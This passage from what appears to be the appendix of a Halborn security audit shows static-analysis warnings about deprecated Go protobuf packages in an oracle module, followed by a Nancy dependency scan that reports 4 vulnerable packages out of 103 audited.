er to programatically interact with the protobuf type system. (SA1019)
oracle/types/query.pb.gw.go:17:2: "github.com/golang/protobuf/proto" is deprecated: Use the "google.golang.or
g/protobuf/proto" package instead. (SA1019)
oracle/types/query.pb.gw.go:33:9: descriptor.ForMessage is deprecated: Not all concrete message types satisfy
the Message interface. Use MessageDescriptorProto instead. If possible, the calling code should be rewritten
to use protobuf reflection instead. See package "google.golang.org/protobuf/reflect/protorelect" for detail
s. (SA1019)
```

Nancy - Security Analysis Output Sample:

#### 4 Vulnerable Packages

Summary	
Audited Dependencies	103
Vulnerable Dependencies	4





THANK YOU FOR CHOOSING

 **HALBORN**

